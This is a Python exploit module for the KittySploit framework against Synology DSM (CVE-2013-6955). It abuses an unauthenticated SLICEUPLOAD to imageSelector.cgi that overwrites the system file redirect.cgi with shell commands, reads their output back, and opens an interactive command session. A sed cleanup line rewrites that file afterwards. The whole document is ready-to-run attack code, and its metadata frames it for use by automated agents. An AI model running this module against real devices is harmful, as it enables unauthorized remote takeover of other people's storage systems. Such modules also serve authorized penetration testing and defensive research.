Synology DSM - imageSelector.cgi RCE (CVE-2013-6955)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Synology DSM imageSelector.cgi RCE (CVE-2013-6955) — execute session."""

from __future__ import annotations

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Synology DSM - imageSelector.cgi RCE (CVE-2013-6955)',
        'description': (
            'Exploits CVE-2013-6955 by appending shell commands into redirect.cgi via '
            'imageSelector.cgi SLICEUPLOAD, then reading output from /redirect.cgi. '
            'Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2013-6955'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2013-6955'],
        'tags': ['synology', 'dsm', 'nas', 'rce', 'unauth', 'cve-2013-6955'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'suggested_followups': ['scanner/http/cve_2013_6955_detect'],
            },
        },
    }

    _CLEANUP = "sed -i -e '/sed -i -e/,$d' /usr/syno/synoman/redirect.cgi"

    def _upload(self, cmd: str) -> bool:
        boundary = f'_KS_{self.random_text(8)}'
        name = 'ksfile'
        body = (
            f'--{boundary}\r\n'
            'Content-Disposition: form-data; name="source"\r\n\r\n'
            'login\r\n'
            f'--{boundary}\r\n'
            'Content-Disposition: form-data; name="type"\r\n\r\n'
            'logo\r\n'
            f'--{boundary}\r\n'
            f'Content-Disposition: form-data; name="{name}"; filename="{name}"\r\n'
            'Content-Type: application/octet-stream\r\n\r\n'
            f'{self._CLEANUP}\n{cmd}\r\n'
            f'--{boundary}--\r\n'
        )
        r = self.http_request(
            method='POST',
            path='/webman/imageSelector.cgi',
            data=body,
            headers={
                'Content-Type': f'multipart/form-data; boundary={boundary}',
                'X-TYPE-NAME': 'SLICEUPLOAD',
                'X-TMP-FILE': '/usr/syno/synoman/redirect.cgi',
            },
            allow_redirects=False,
        )
        return bool(r and 'error_noprivilege' in (r.text or ''))

    def execute(self, cmd: str) -> str:
        if not self._upload(str(cmd)):
            return ''
        r = self.http_request(method='GET', path='/redirect.cgi', allow_redirects=False)
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2013-6955 confirmed via redirect.cgi command output',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'imageSelector.cgi upload did not yield command output',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        try:
            return self.handler_execute()
        finally:
            self._upload('')